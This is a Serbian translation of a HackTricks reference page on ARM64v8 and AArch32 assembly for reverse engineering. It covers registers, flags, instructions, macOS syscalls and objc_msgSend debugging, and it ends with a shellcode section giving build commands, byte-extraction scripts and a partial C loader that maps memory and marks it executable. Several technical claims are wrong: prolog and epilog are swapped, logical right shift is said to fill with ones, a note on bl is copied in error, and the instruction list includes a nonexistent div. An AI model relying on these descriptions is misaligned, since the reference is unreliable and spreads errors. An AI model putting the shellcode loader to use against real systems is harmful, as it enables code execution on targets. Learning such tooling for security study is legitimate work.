Introduction to ARM64v8

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Nivoi izuzetaka - EL (ARM64v8)

U ARMv8 arhitekturi, nivoi izvršenja, poznati kao Nivoi izuzetaka (ELs), definišu nivo privilegija i mogućnosti izvršnog okruženja. Postoje četiri nivoa izuzetaka, od EL0 do EL3, pri čemu svaki služi različitoj svrsi:

  1. EL0 - Korisnički režim:

  • Ovo je nivo sa najmanje privilegija i koristi se za izvršavanje redovnog aplikativnog koda.

  • Aplikacije koje se izvršavaju na EL0 su izolovane jedna od druge i od sistemskog softvera, što poboljšava sigurnost i stabilnost.

  1. EL1 - Režim jezgra operativnog sistema:

  • Većina jezgara operativnih sistema radi na ovom nivou.

  • EL1 ima više privilegija od EL0 i može pristupiti sistemskim resursima, ali uz određena ograničenja radi očuvanja integriteta sistema.

  1. EL2 - Režim hipervizora:

  • Ovaj nivo se koristi za virtualizaciju. Hipervizor koji radi na EL2 može upravljati sa više operativnih sistema (svaki u svom EL1) koji se izvršavaju na istom fizičkom hardveru.

  • EL2 pruža funkcionalnosti za izolaciju i kontrolu virtualizovanih okruženja.

  1. EL3 - Režim sigurnosnog monitora:

  • Ovo je najprivilegovaniji nivo i često se koristi za sigurno pokretanje sistema i poverljiva izvršna okruženja.

  • EL3 može upravljati i kontrolisati pristupe između sigurnih i nesigurnih stanja (kao što su sigurno pokretanje, poverljivi OS, itd.).

Korišćenje ovih nivoa omogućava struktuiran i siguran način upravljanja različitim aspektima sistema, od korisničkih aplikacija do najprivilegovanijeg sistemskog softvera. ARMv8 pristup nivoima privilegija pomaže u efikasnoj izolaciji različitih komponenti sistema, čime se poboljšava sigurnost i pouzdanost sistema.

Registri (ARM64v8)

ARM64 ima 31 registar opšte namene, označenih kao x0 do x30. Svaki može čuvati vrednost od 64 bita (8 bajtova). Za operacije koje zahtevaju samo vrednosti od 32 bita, isti registri mogu se pristupiti u 32-bitnom režimu koristeći imena w0 do w30.

  1. x0 do x7 - Ovi se obično koriste kao registri za prolazak parametara podrutinama.

  • x0 takođe nosi povratne podatke funkcije.

  1. x8 - U Linux jezgru, x8 se koristi kao broj sistema poziva za svc instrukciju. Na macOS-u se koristi x16!

  2. x9 do x15 - Dodatni privremeni registri, često korišćeni za lokalne promenljive.

  3. x16 i x17 - Registri za unutarproceduralne pozive. Privremeni registri za neposredne vrednosti. Koriste se i za indirektne pozive funkcija i PLT (Procedure Linkage Table) stubove.

  • x16 se koristi kao broj sistema poziva za svc instrukciju na macOS-u.

  1. x18 - Registar platforme. Može se koristiti kao registar opšte namene, ali na nekim platformama, ovaj registar je rezervisan za platformski specifične svrhe: Pokazivač na trenutni blok okruženja niti u Windows-u, ili pokazivač na trenutno izvršavajuću strukturu zadatka u jezgru Linux-a.

  2. x19 do x28 - Ovo su registri sačuvani za pozvane funkcije. Funkcija mora sačuvati vrednosti ovih registara za svog pozivaoca, tako da se čuvaju na steku i vraćaju pre povratka pozivaocu.

  3. x29 - Pokazivač okvira za praćenje okvira steka. Kada se kreira novi okvir steka jer je funkcija pozvana, x29 registar se čuva na steku i nova adresa okvira (adresa sp) se čuva u ovom registru.

  • Ovaj registar takođe može se koristiti kao registar opšte namene, iako se obično koristi kao referenca na lokalne promenljive.

  1. x30 ili lr - Registar linka. Čuva adresu povratka kada se izvrši BL (Branch with Link) ili BLR (Branch with Link to Register) instrukcija čuvajući vrednost pc u ovom registru.

  • Može se koristiti kao i bilo koji drugi registar.

  • Ako trenutna funkcija namerava pozvati novu funkciju i time prepisati lr, čuvaće je na steku na početku, ovo je epilog (stp x29, x30 , [sp, #-48]; mov x29, sp -> Čuvanje fp i lr, generisanje prostora i dobijanje novog fp) i vraćaće je na kraju, ovo je prolog (ldp x29, x30, [sp], #48; ret -> Vraćanje fp i lr i povratak).

  1. sp - Pokazivač steka, koristi se za praćenje vrha steka.

  • Vrednost sp uvek treba da bude održavana na bar quadword poravnanju ili može doći do greške poravnanja.

  1. pc - Brojač programa, koji pokazuje na sledeću instrukciju. Ovaj registar se može ažurirati samo putem generisanja izuzetaka, povrataka izuzetaka i skokova. Jedine obične instrukcije koje mogu čitati ovaj registar su instrukcije skoka sa linkom (BL, BLR) za čuvanje adrese pc u lr (Registar linka).

  2. xzr - Registar nula. Takođe nazvan wzr u svom obliku registra od 32 bita. Može se koristiti za lako dobijanje vrednosti nula (uobičajena operacija) ili za obavljanje poređenja koristeći subs kao subs XZR, Xn, #10 čuvajući rezultujuće podatke nigde (u xzr).

Wn registri su 32-bitna verzija Xn registra.

SIMD i Registri za plutanje sa pokretnim zarezom

Pored toga, postoje još 32 registra dužine 128 bita koji se mogu koristiti u optimizovanim operacijama jedne instrukcije sa više podataka (SIMD) i za obavljanje aritmetike sa pokretnim zarezom. Oni se nazivaju Vn registri iako mogu raditi i u 64-bitnom, 32-bitnom, 16-bitnom i 8-bitnom režimu, tada se nazivaju Qn, Dn, Sn, Hn i Bn.

Registri sistema

Postoje stotine sistema registara, takođe nazvanih registri specijalne namene (SPR), koji se koriste za praćenje i kontrolu ponašanja procesora. Mogu se samo čitati ili postavljati korišćenjem posvećene specijalne instrukcije mrs i msr.

Specijalni registri TPIDR_EL0 i TPIDDR_EL0 često se nalaze prilikom reverznog inženjeringa. Sufiks EL0 označava minimalni izuzetak iz kojeg se registar može pristupiti (u ovom slučaju EL0 je redovni nivo izuzetka (privilegija) sa kojim se izvršavaju redovni programi). Često se koriste za čuvanje bazne adrese regiona memorije za lokalno skladištenje niti. Obično je prvi čitljiv i zapisiv za programe koji se izvršavaju u EL0, ali drugi se može čitati iz EL0 i pisati iz EL1 (kao kernel).

  • mrs x0, TPIDR_EL0 ; Čitanje TPIDR_EL0 u x0

  • msr TPIDR_EL0, X0 ; Pisanje x0 u TPIDR_EL0

PSTATE

PSTATE sadrži nekoliko procesnih komponenti serijalizovanih u operativnom sistemu vidljiv SPSR_ELx specijalni registar, gde je X nivo dozvole pokrenutog izuzetka (ovo omogućava vraćanje stanja procesa kada izuzetak završi). Ovo su pristupačna polja:

  • Zastave uslova N, Z, C i V:

  • N znači da je operacija dala negativan rezultat

  • Z znači da je operacija dala nulu

  • C znači da je operacija prenesena

  • V znači da je operacija dala prekoračenje sa znakom:

  • Zbir dva pozitivna broja daje negativan rezultat.

  • Zbir dva negativna broja daje pozitivan rezultat.

  • Pri oduzimanju, kada se od manjeg pozitivnog broja oduzme veći negativni broj (ili obrnuto), i rezultat ne može biti predstavljen unutar opsega datog veličinom bita.

  • Očigledno, procesor ne zna da li je operacija sa znakom ili ne, pa će proveriti C i V u operacijama i ukazati na prenos ako je bila sa znakom ili bez znaka.

Nisu sve instrukcije ažuriraju ove zastave. Neke poput CMP ili TST to rade, a druge koje imaju sufiks s poput ADDS takođe to rade.

  • Trenutna zastava širine registra (nRW): Ako zastava ima vrednost 0, program će se izvršavati u AArch64 stanju izvršenja nakon nastavka.

  • Trenutni nivo izuzetka (EL): Redovan program koji se izvršava u EL0 imaće vrednost 0

  • Zastava za jedno korakovanje (SS): Koristi se od strane debagera za jedno korakovanje postavljanjem SS zastave na 1 unutar SPSR_ELx putem izuzetka. Program će izvršiti korak i izdati izuzetak jednog koraka.

  • Zastava za nevažeći izuzetak (IL): Koristi se za označavanje kada privilegovani softver izvrši nevažeći prenos nivoa izuzetka, ova zastava se postavlja na 1 i procesor pokreće izuzetak nevažećeg stanja.

  • Zastave DAIF: Ove zastave omogućavaju privilegovanom programu selektivno maskiranje određenih spoljnih izuzetaka.

  • Ako je A 1 to znači da će biti pokrenuti asinhroni prekidi. I konfiguriše odgovor na spoljne hardverske zahteve za prekidima (IRQ), a F je povezano sa brzim zahtevima za prekidima (FIR).

  • Zastave za izbor pokazivača steka (SPS): Privilegovani programi koji se izvršavaju u EL1 i više mogu da prebacuju između korišćenja svog registra pokazivača steka i korisničkog modela (npr. između SP_EL1 i EL0). Ovo prebacivanje se vrši upisivanjem u specijalni registar SPSel. Ovo se ne može uraditi iz EL0.

Konvencija pozivanja (ARM64v8)

ARM64 konvencija pozivanja specificira da se prva osam parametara funkciji prosleđuju u registrima x0 do x7. Dodatni parametri se prosleđuju na steku. Povratna vrednost se prosleđuje nazad u registru x0, ili u x1 takođe ako je dužine 128 bita. Registri x19 do x30 i sp moraju biti sačuvani tokom poziva funkcije.

Prilikom čitanja funkcije u sklopu, potražite prolog funkcije i epilog. Prolog obično uključuje čuvanje pokazivača okvira (x29), postavljanje novog pokazivača okvira, i dodeljivanje prostora steka. Epilog obično uključuje obnavljanje sačuvanog pokazivača okvira i vraćanje iz funkcije.

Konvencija pozivanja u Swift-u

Swift ima svoju konvenciju pozivanja koja se može pronaći na https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64

Uobičajene instrukcije (ARM64v8)

ARM64 instrukcije generalno imaju format opcode dst, src1, src2, gde je opcode operacija koja će se izvršiti (kao što su add, sub, mov, itd.), dst je ciljni registar gde će rezultat biti smešten, a src1 i src2 su izvorni registri. Neposredne vrednosti takođe mogu biti korišćene umesto izvornih registara.

  • mov: Premeštanje vrednosti iz jednog registra u drugi.

  • Primer: mov x0, x1 — Ovo premešta vrednost iz x1 u x0.

  • ldr: Učitavanje vrednosti iz memorije u registar.

  • Primer: ldr x0, [x1] — Ovo učitava vrednost sa memorijske lokacije na koju pokazuje x1 u x0.

  • Mod sa pomerajem: Pomeraj koji utiče na pokazivač je naznačen, na primer:

  • ldr x2, [x1, #8], ovo će učitati u x2 vrednost sa x1 + 8

  • ldr x2, [x0, x1, lsl #2], ovo će učitati u x2 objekat iz niza x0, sa pozicije x1 (indeks) * 4

  • Mod pre indeksa: Ovo će primeniti izračunavanja na početni, dobiti rezultat i takođe sačuvati novi početak u početku.

  • ldr x2, [x1, #8]!, ovo će učitati x1 + 8 u x2 i sačuvati u x1 rezultat x1 + 8

  • str lr, [sp, #-4]!, Sačuvajte registar linka u sp i ažurirajte registar sp

  • Mod posle indeksa: Slično prethodnom, ali se pristupa memoriji i zatim se izračunava i čuva pomeraj.

  • ldr x0, [x1], #8, učitaj x1 u x0 i ažuriraj x1 sa x1 + 8

  • Adresa relativna prema PC registru: U ovom slučaju adresa za učitavanje se računa relativno prema PC registru

  • ldr x1, =_start, Ovo će učitati adresu gde počinje simbol _start u x1 u odnosu na trenutni PC.

  • str: Čuvanje vrednosti iz registra u memoriju.

  • Primer: str x0, [x1] — Ovo čuva vrednost iz x0 na memorijskoj lokaciji na koju pokazuje x1.

  • ldp: Učitavanje para registara. Ova instrukcija učitava dva registra iz uzastopnih memorijskih lokacija. Adresa memorije se obično formira dodavanjem pomeraja vrednosti u drugom registru.

  • Primer: ldp x0, x1, [x2] — Ovo učitava x0 i x1 sa memorijskih lokacija na x2 i x2 + 8, redom.

  • stp: Čuvanje para registara. Ova instrukcija čuva dva registra na uzastopnim memorijskim lokacijama. Adresa memorije se obično formira dodavanjem pomeraja vrednosti u drugom registru.

  • Primer: stp x0, x1, [sp] — Ovo čuva x0 i x1 na memorijskim lokacijama na sp i sp + 8, redom.

  • stp x0, x1, [sp, #16]! — Ovo čuva x0 i x1 na memorijskim lokacijama na sp+16 i sp + 24, redom, i ažurira sp sa sp+16.

  • add: Sabiranje vrednosti dva registra i smeštanje rezultata u registar.

  • Sintaksa: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]

  • Xn1 -> Destinacija

  • Xn2 -> Operand 1

  • Xn3 | #imm -> Operand 2 (registar ili neposredno)

  • [shift #N | RRX] -> Izvrši pomeraj ili pozovi RRX

  • Primer: add x0, x1, x2 — Ovo dodaje vrednosti u x1 i x2 zajedno i čuva rezultat u x0.

  • add x5, x5, #1, lsl #12 — Ovo je jednako 4096 (jedinica pomerena 12 puta) -> 1 0000 0000 0000 0000

  • adds Ovo izvršava add i ažurira zastave

  • sub: Oduzmi vrednosti dva registra i čuvaj rezultat u registru.

  • Proveri sintaksu za add.

  • Primer: sub x0, x1, x2 — Ovo oduzima vrednost u x2 od x1 i čuva rezultat u x0.

  • subs Ovo je kao sub ali ažurira zastavu

  • mul: Množi vrednosti dva registra i čuva rezultat u registru.

  • Primer: mul x0, x1, x2 — Ovo množi vrednosti u x1 i x2 i čuva rezultat u x0.

  • div: Deljenje vrednosti jednog registra sa drugim i čuvanje rezultata u registru.

  • Primer: div x0, x1, x2 — Ovo deli vrednost u x1 sa x2 i čuva rezultat u x0.

  • lsl, lsr, asr, ror, rrx:

  • Logički pomeraj levo: Dodaj 0 sa kraja pomerajući ostale bitove unapred (množi n puta sa 2)

  • Logički pomeraj desno: Dodaj 1 sa početka pomerajući ostale bitove unazad (deli n puta sa 2 u neoznačenom obliku)

  • Aritmetički pomeraj desno: Kao lsr, ali umesto dodavanja 0 ako je najznačajniji bit 1, **dodaju se 1 (**deli n puta sa 2 u označenom obliku)

  • Rotacija udesno: Kao lsr ali šta god je uklonjeno sa desne strane se dodaje na levo

  • Rotacija udesno sa proširenjem: Kao ror, ali sa zastavicom prenosa kao "najznačajnijim bitom". Tako da se zastavica prenosa pomera na bit 31 i uklonjeni bit na zastavicu prenosa.

  • bfm: Pomeraj bitova, ove operacije kopiraju bitove 0...n iz vrednosti i smeštaju ih na pozicije m..m+n. #s određuje najlevlji bit poziciju i #r količinu rotacije udesno.

  • Pomeraj bitova: BFM Xd, Xn, #r

  • Pomeraj bitova sa znakom: SBFM Xd, Xn, #r, #s

  • Pomeraj bitova bez znaka: UBFM Xd, Xn, #r, #s

  • Izdvajanje i umetanje bitova: Kopira bitovno polje iz registra i kopira ga u drugi registar.

  • BFI X1, X2, #3, #4 Umetni 4 bita iz X2 od 3. bita X1

  • BFXIL X1, X2, #3, #4 Izdvoji četiri bita od 3. bita X2 i kopiraj ih u X1

  • SBFIZ X1, X2, #3, #4 Proširi znakom 4 bita iz X2 i umetni ih u X1 počevši od bita 3, nulirajući desne bitove

  • SBFX X1, X2, #3, #4 Izdvaja 4 bita počevši od bita 3 iz X2, proširuje znakom ih i smešta rezultat u X1

  • UBFIZ X1, X2, #3, #4 Proširuje nulama 4 bita iz X2 i umetni ih u X1 počevši od bita 3, nulirajući desne bitove

  • UBFX X1, X2, #3, #4 Izdvaja 4 bita počevši od bita 3 iz X2 i smešta nulirani rezultat u X1.

  • Proširi znak na X: Proširuje znak (ili dodaje samo 0 u neoznačenom obliku) vrednosti kako bi se mogle izvršiti operacije sa njom:

  • SXTB X1, W2 Proširuje znak bajta od W2 do X1 (W2 je polovina X2) da popuni 64 bita

  • SXTH X1, W2 Proširuje znak 16-bitnog broja od W2 do X1 da popuni 64 bita

  • SXTW X1, W2 Proširuje znak bajta od W2 do X1 da popuni 64 bita

  • UXTB X1, W2 Dodaje 0 (neoznačeno) bajtu od W2 do X1 da popuni 64 bita

  • extr: Izdvaja bitove iz određenog para registara konkateniranih.

  • Primer: EXTR W3, W2, W1, #3 Ovo će konkatenirati W1+W2 i uzeti od bita 3 iz W2 do bita 3 iz W1 i smestiti u W3.

  • cmp: Uporedi dva registra i postavi uslovne zastave. To je alias za subs postavljajući odredišni registar na nulu. Korisno za proveru da li je m == n.

  • Podržava istu sintaksu kao subs

  • Primer: cmp x0, x1 — Ovo upoređuje vrednosti u x0 i x1 i postavlja uslovne zastave prema tome.

  • cmn: Uporedi negativno operande. U ovom slučaju je to alias za adds i podržava istu sintaksu. Korisno za proveru da li je m == -n.

  • ccmp: Uslovno poređenje, to je poređenje koje će se izvršiti samo ako je prethodno poređenje bilo tačno i posebno će postaviti nzcv bitove.

  • cmp x1, x2; ccmp x3, x4, 0, NE; blt _func -> ako x1 != x2 i x3 < x4, skoči na funkciju

  • To je zato što će se ccmp izvršiti samo ako je prethodni cmp bio NE, ako nije, bitovi nzcv će biti postavljeni na 0 (što neće zadovoljiti blt poređenje).

  • Ovo se takođe može koristiti kao ccmn (isto ali negativno, kao cmp vs cmn).

  • tst: Proverava da li su vrednosti uporedbe oba 1 (radi kao i ANDS bez smeštanja rezultata bilo gde). Korisno je proveriti registar sa vrednošću i proveriti da li su bilo koji bitovi registra naznačeni u vrednosti 1.

  • Primer: tst X1, #7 Proveri da li su bilo koji od poslednja 3 bita X1 jednaki 1

  • teq: XOR operacija odbacivanjem rezultata

  • b: Bezuslovni skok

  • Primer: b mojaFunkcija

  • Imajte na umu da ovo neće popuniti registar linka sa povratnom adresom (nije pogodno za pozive potprograma koji treba da se vrate nazad)

  • bl: Skok sa linkom, koristi se za poziv potprograma. Čuva povratnu adresu u x30.

  • Primer: bl mojaFunkcija — Ovo poziva funkciju mojaFunkcija i čuva povratnu adresu u x30.

  • Imajte na umu da ovo neće popuniti registar linka sa povratnom adresom (nije pogodno za pozive potprograma koji treba da se vrate nazad)

  • blr: Skok sa Linkom u Registar, koristi se za poziv potprograma gde je cilj specifikovan u registru. Čuva povratnu adresu u x30. (Ovo je

  • Primer: blr x1 — Ovo poziva funkciju čija je adresa sadržana u x1 i čuva povratnu adresu u x30.

  • ret: Povratak iz potprograma, obično koristeći adresu u x30.

  • Primer: ret — Ovo se vraća iz trenutnog potprograma koristeći povratnu adresu u x30.

  • b.<cond>: Uslovni skokovi

  • b.eq: Skok ako je jednako, zasnovano na prethodnoj cmp instrukciji.

  • Primer: b.eq oznaka — Ako je prethodna cmp instrukcija pronašla dve jednake vrednosti, skoči na oznaka.

  • b.ne: Branch if Not Equal. Ova instrukcija proverava uslovne zastavice (koje su postavljene od strane prethodne instrukcije poređenja), i ako upoređene vrednosti nisu jednake, prelazi na oznaku ili adresu.

  • Primer: Nakon cmp x0, x1 instrukcije, b.ne label — Ako vrednosti u x0 i x1 nisu jednake, prelazi na label.

  • cbz: Uporedi i pređi na nulu. Ova instrukcija upoređuje registar sa nulom, i ako su jednaki, prelazi na oznaku ili adresu.

  • Primer: cbz x0, label — Ako je vrednost u x0 nula, prelazi na label.

  • cbnz: Uporedi i pređi na ne-nulu. Ova instrukcija upoređuje registar sa nulom, i ako nisu jednaki, prelazi na oznaku ili adresu.

  • Primer: cbnz x0, label — Ako je vrednost u x0 ne-nula, prelazi na label.

  • tbnz: Testiraj bit i pređi na ne-nulu

  • Primer: tbnz x0, #8, label

  • tbz: Testiraj bit i pređi na nulu

  • Primer: tbz x0, #8, label

  • Operacije uslovnog izbora: Ovo su operacije čije ponašanje varira u zavisnosti od uslovnih bitova.

  • csel Xd, Xn, Xm, cond -> csel X0, X1, X2, EQ -> Ako je tačno, X0 = X1, ako nije, X0 = X2

  • csinc Xd, Xn, Xm, cond -> Ako je tačno, Xd = Xn, ako nije, Xd = Xm + 1

  • cinc Xd, Xn, cond -> Ako je tačno, Xd = Xn + 1, ako nije, Xd = Xn

  • csinv Xd, Xn, Xm, cond -> Ako je tačno, Xd = Xn, ako nije, Xd = NIJE(Xm)

  • cinv Xd, Xn, cond -> Ako je tačno, Xd = NIJE(Xn), ako nije, Xd = Xn

  • csneg Xd, Xn, Xm, cond -> Ako je tačno, Xd = Xn, ako nije, Xd = - Xm

  • cneg Xd, Xn, cond -> Ako je tačno, Xd = - Xn, ako nije, Xd = Xn

  • cset Xd, Xn, Xm, cond -> Ako je tačno, Xd = 1, ako nije, Xd = 0

  • csetm Xd, Xn, Xm, cond -> Ako je tačno, Xd = <svi 1>, ako nije, Xd = 0

  • adrp: Izračunava adresu stranice simbola i smešta je u registar.

  • Primer: adrp x0, symbol — Ovo izračunava adresu stranice symbol i smešta je u x0.

  • ldrsw: Učitaj potpisanu 32-bitnu vrednost iz memorije i proširi je na 64 bita.

  • Primer: ldrsw x0, [x1] — Ovo učitava potpisanu 32-bitnu vrednost sa lokacije u memoriji na koju pokazuje x1, proširuje je na 64 bita i smešta je u x0.

  • stur: Smešta vrednost registra na lokaciju u memoriji, koristeći pomeraj od drugog registra.

  • Primer: stur x0, [x1, #4] — Ovo smešta vrednost iz x0 na adresu u memoriji koja je 4 bajta veća od adrese koja se trenutno nalazi u x1.

  • svc : Napravi sistemski poziv. Ovo označava "Supervizorski poziv". Kada procesor izvrši ovu instrukciju, prelazi iz režima korisnika u režim jezgra i prelazi na određenu lokaciju u memoriji gde se nalazi kod za obradu sistemskog poziva jezgra.

  • Primer:

mov x8, 93  ; Učitaj broj sistema za izlaz (93) u registar x8.
mov x0, 0   ; Učitaj kod statusa izlaza (0) u registar x0.
svc 0       ; Napravi sistemski poziv.

Prolog funkcije

  1. Sačuvaj registar linka i pokazivač okvira na steku:

stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
  1. Postavite novi pokazivač okvira: mov x29, sp (postavlja novi pokazivač okvira za trenutnu funkciju)

  2. Alocirajte prostor na steku za lokalne promenljive (ako je potrebno): sub sp, sp, <size> (gde je <size> broj bajtova potreban)

Epilog funkcije

  1. Dealocirajte lokalne promenljive (ako su alocirane): add sp, sp, <size>

  2. Vratite registar veze i pokazivač okvira:

ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
  1. Povratak: ret (vraća kontrolu pozivaocu koristeći adresu u registru veze)

Stanje izvršenja AARCH32

Armv8-A podržava izvršenje 32-bitnih programa. AArch32 može raditi u jednom od dva skupa instrukcija: A32 i T32 i može prelaziti između njih putem međusobnog rada. Privilegovani 64-bitni programi mogu zakazati izvršenje 32-bitnih programa izvršavanjem transfera nivoa izuzetka na niže privilegovani 32-bitni program. Napomena da se prelazak sa 64-bitnog na 32-bitni dešava sa nižim nivoom izuzetka (na primer, 64-bitni program u EL1 pokreće program u EL0). Ovo se postiže postavljanjem bita 4 od SPSR_ELx specijalnog registra na 1 kada je AArch32 procesna nit spremna za izvršenje, a ostatak SPSR_ELx čuva programe AArch32 CPSR. Zatim, privilegovani proces poziva instrukciju ERET kako bi procesor prešao u AArch32 ulazeći u A32 ili T32 u zavisnosti od CPSR**.**

Međusobni rad se dešava korišćenjem bitova J i T u CPSR. J=0 i T=0 znači A32 i J=0 i T=1 znači T32. Ovo se u osnovi prevodi na postavljanje najnižeg bita na 1 kako bi se naznačilo da je skup instrukcija T32. Ovo se postavlja tokom instrukcija grana međusobnog rada, ali se takođe može postaviti direktno i drugim instrukcijama kada je PC postavljen kao registar odredišta. Primer:

Još jedan primer:

_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

Registri

Postoje 16 registara od 32 bita (r0-r15). Od r0 do r14 mogu se koristiti za bilo koju operaciju, međutim neki od njih obično su rezervisani:

  • r15: Brojač programa (uvek). Sadrži adresu sledeće instrukcije. U A32 trenutno + 8, u T32, trenutno + 4.

  • r11: Pokazivač okvira

  • r12: Registar za unutarproceduralne pozive

  • r13: Pokazivač steka

  • r14: Registar za povezivanje

Osim toga, registri se čuvaju u bankovnim registrima. To su mesta koja čuvaju vrednosti registara omogućavajući brzo prebacivanje konteksta u rukovanju izuzecima i privilegovanim operacijama kako bi se izbegla potreba za ručnim čuvanjem i vraćanjem registara svaki put. Ovo se postiže čuvanjem stanja procesora od CPSR do SPSR režima procesora u koji se preuzima izuzetak. Prilikom povratka izuzetka, CPSR se obnavlja iz SPSR.

CPSR - Trenutni registar statusa programa

U AArch32, CPSR radi slično kao PSTATE u AArch64 i takođe se čuva u SPSR_ELx kada se preuzme izuzetak radi kasnijeg obnavljanja izvršenja:

Polja su podeljena u nekoliko grupa:

  • Registar statusa aplikacije (APSR): Aritmetičke zastave i pristupačne iz EL0

  • Registri stanja izvršenja: Ponašanje procesa (upravljano od strane OS-a).

Registar statusa aplikacije (APSR)

  • Zastave N, Z, C, V (kao i u AArch64)

  • Zastava Q: Postavlja se na 1 kada se desi zasićenje celog broja tokom izvršenja specijalizovane aritmetičke instrukcije zasićenja. Kada se jednom postavi na 1, zadržaće vrednost dok se ručno ne postavi na 0. Osim toga, ne postoji nijedna instrukcija koja implicitno proverava njegovu vrednost, to se mora uraditi čitanjem ručno.

  • GE (Veće ili jednako) zastave: Koriste se u SIMD (Jedna instrukcija, više podataka) operacijama, poput "paralelnog sabiranja" i "paralelnog oduzimanja". Ove operacije omogućavaju obradu više tačaka podataka u jednoj instrukciji.

Na primer, instrukcija UADD8 sabira četiri para bajtova (iz dva 32-bitna operanda) paralelno i čuva rezultate u 32-bitnom registru. Zatim postavlja GE zastave u APSR na osnovu ovih rezultata. Svaka GE zastava odgovara jednom od dodavanja bajtova, ukazujući da li je sabiranje za taj par bajtova prekoračilo.

Instrukcija SEL koristi ove GE zastave za izvođenje uslovnih radnji.

Registri stanja izvršenja

  • Bitovi J i T: J treba da bude 0, a ako je T 0 koristi se skup instrukcija A32, a ako je 1, koristi se T32.

  • Registar stanja IT bloka (ITSTATE): To su bitovi od 10-15 i 25-26. Čuvaju uslove za instrukcije unutar grupe sa prefiksom IT.

  • Bit E: Označava endianness.

  • Bitovi moda i maski izuzetka (0-4): Određuju trenutno stanje izvršenja. Peti označava da li program radi kao 32-bitni (1) ili 64-bitni (0). Ostala 4 predstavljaju trenutni korišćeni režim izuzetka (kada se desi izuzetak i kada se rukuje njime). Postavljeni broj označava trenutni prioritet u slučaju da se desi još jedan izuzetak dok se ovaj rukuje.

  • AIF: Određeni izuzeci mogu biti onemogućeni korišćenjem bitova A, I, F. Ako je A 1, to znači da će biti pokrenuti asinhroni prekidi. I konfiguriše odgovor na spoljne hardverske zahteve prekida (IRQ). i F je povezan sa brzim zahtevima prekida (FIR).

macOS

BSD sistemski pozivi

Pogledajte syscalls.master. BSD sistemski pozivi će imati x16 > 0.

Mach zamke

Pogledajte u syscall_sw.c mach_trap_table i u mach_traps.h prototipove. Maksimalan broj Mach zamki je MACH_TRAP_TABLE_COUNT = 128. Mach zamke će imati x16 < 0, pa je potrebno pozvati brojeve sa prethodne liste sa minusom: _kernelrpc_mach_vm_allocate_trap je -10.

Takođe možete proveriti libsystem_kernel.dylib u disassembleru da biste saznali kako pozvati ove (i BSD) sistemski pozivi:

# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

Ponekad je lakše proveriti dekompilovani kod iz libsystem_kernel.dylib nego proveravati izvorni kod jer je kod nekoliko sistemskih poziva (BSD i Mach) generisan putem skripti (proverite komentare u izvornom kodu), dok u dylib datoteci možete videti šta se poziva.

machdep pozivi

XNU podržava još jednu vrstu poziva nazvanu zavisnu od mašine. Broj ovih poziva zavisi od arhitekture i ni pozivi ni brojevi nisu zagarantovani da će ostati konstantni.

comm stranica

Ovo je stranica memorije vlasništvo jezgra koja je mapirana u adresni prostor svakog korisničkog procesa. Namijenjena je ubrzanju prelaska iz režima korisnika u prostor jezgra brže nego korišćenjem sistemskih poziva za jezgrene usluge koje se toliko koriste da bi taj prelazak bio veoma neefikasan.

Na primer, poziv gettimeofdate čita vrednost timeval direktno sa comm stranice.

objc_msgSend

Veoma je često naći ovu funkciju korišćenu u Objective-C ili Swift programima. Ova funkcija omogućava pozivanje metode objekta Objective-C.

Parametri (više informacija u dokumentaciji):

  • x0: self -> Pokazivač na instancu

  • x1: op -> Selektor metode

  • x2... -> Ostali argumenti pozvane metode

Dakle, ako postavite prekidnu tačku pre grananja ka ovoj funkciji, lako možete pronaći šta je pozvano u lldb-u sa (u ovom primeru objekat poziva objekat iz NSConcreteTask koji će pokrenuti komandu):

(lldb) po $x0
<NSConcreteTask: 0x1052308e0>

(lldb) x/s $x1
0x1736d3a6e: "launch"

(lldb) po [$x0 launchPath]
/bin/sh

(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)

Postavljanjem env promenljive NSObjCMessageLoggingEnabled=1 moguće je zabeležiti kada je ova funkcija pozvana u datoteci poput /tmp/msgSends-pid.

Shellkodovi

Za kompajliranje:

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Da izvučemo bajtove:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

Za novije macOS:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
C kod za testiranje shell koda

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

